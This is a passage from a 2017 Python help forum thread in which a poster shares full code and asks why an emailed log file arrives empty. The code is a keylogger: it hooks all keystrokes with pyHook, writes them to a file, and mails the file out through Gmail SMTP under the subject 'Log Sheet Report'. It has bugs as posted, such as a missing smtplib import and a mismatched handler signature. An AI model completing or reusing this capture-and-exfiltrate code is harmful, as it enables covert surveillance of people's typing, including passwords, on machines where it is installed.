(Jul-14-2017, 05:28 PM)Larz60+ Wrote: 1. It should be your goal to eliminate all globals, what is the scope of keylog?
If it's needed outside use a return statement, if it comes from outside, pass as an argument.
if OnKeyboardEvent is attached to a button, you can use a lambda statement to pass the keylog as an argument
example:
def OnKeyboardEvent(keylog, e)
2. remove the f.close statement. It's not needed and may cause an error
3. You don't show enough code to determine what the issue is, where is keylog populated
One thing you can do is print the contents of keylog to see if anything's in it
below is the complete code, that is the only thing i have, the rest to send the file to email, the email goes and the attachment is there but empty.
import mimetypes, win32gui, time
import pyHook, pythoncom, sys, logging
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.mime.image import MIMEImage
from email.Utils import COMMASPACE, formatdate
from email import Encoders
filePath='D:\\test2.txt'
def OnKeyboardEvent(keylog, e):
#global keylog
keylog= chr(e.Ascii)
print keylog
with open(filePath,'a') as f:
f.write(keylog)
return True
h_m=pyHook.HookManager()
h_m.KeyDown = OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()
time.sleep(10) #10 seconds.
From = '[email protected]'
To = '[email protected]'
msg = MIMEMultipart()
msg['From'] = From
msg['To'] = To
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = 'Log Sheet Report for Ahmad'
msg.attach(MIMEText('File Attached'))
try:
smtp = smtplib.SMTP('smtp.gmail.com:587')
smtp.starttls()
smtp.login('????', '??????')
except:
i = 1
else:
i = 0
if i == 0:
ctype, encoding = mimetypes.guess_type(filePath)
if ctype is None or encoding is not None:
# No guess could be made, or the file is encoded (compressed), so
# use a generic bag-of-bits type.
ctype = 'application/octet-stream'
maintype, subtype = ctype.split('/', 1)
if maintype == 'text':
fp = open(filePath)
# Note: we should handle calculating the charset
part = MIMEText(fp.read(), _subtype=subtype)
fp.close()
elif maintype == 'image':
fp = open(filePath, 'rb')
part = MIMEImage(fp.read(), _subtype=subtype)
fp.close()
elif maintype == 'audio':
fp = open(filePath, 'rb')
part = MIMEAudio(fp.read(), _subtype=subtype)
fp.close()
else:
fp = open(filePath, 'rb')
part = MIMEBase(maintype, subtype)
part.set_payload(fp.read())
fp.close()
# Encode the payload using Base64
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % filePath)
msg.attach(part)
try:
smtp.sendmail(From, To, msg.as_string())
except:
print "Mail not sent"
else:
print "Mail sent"
smtp.close()
else:
print "Connection failed"
Thanks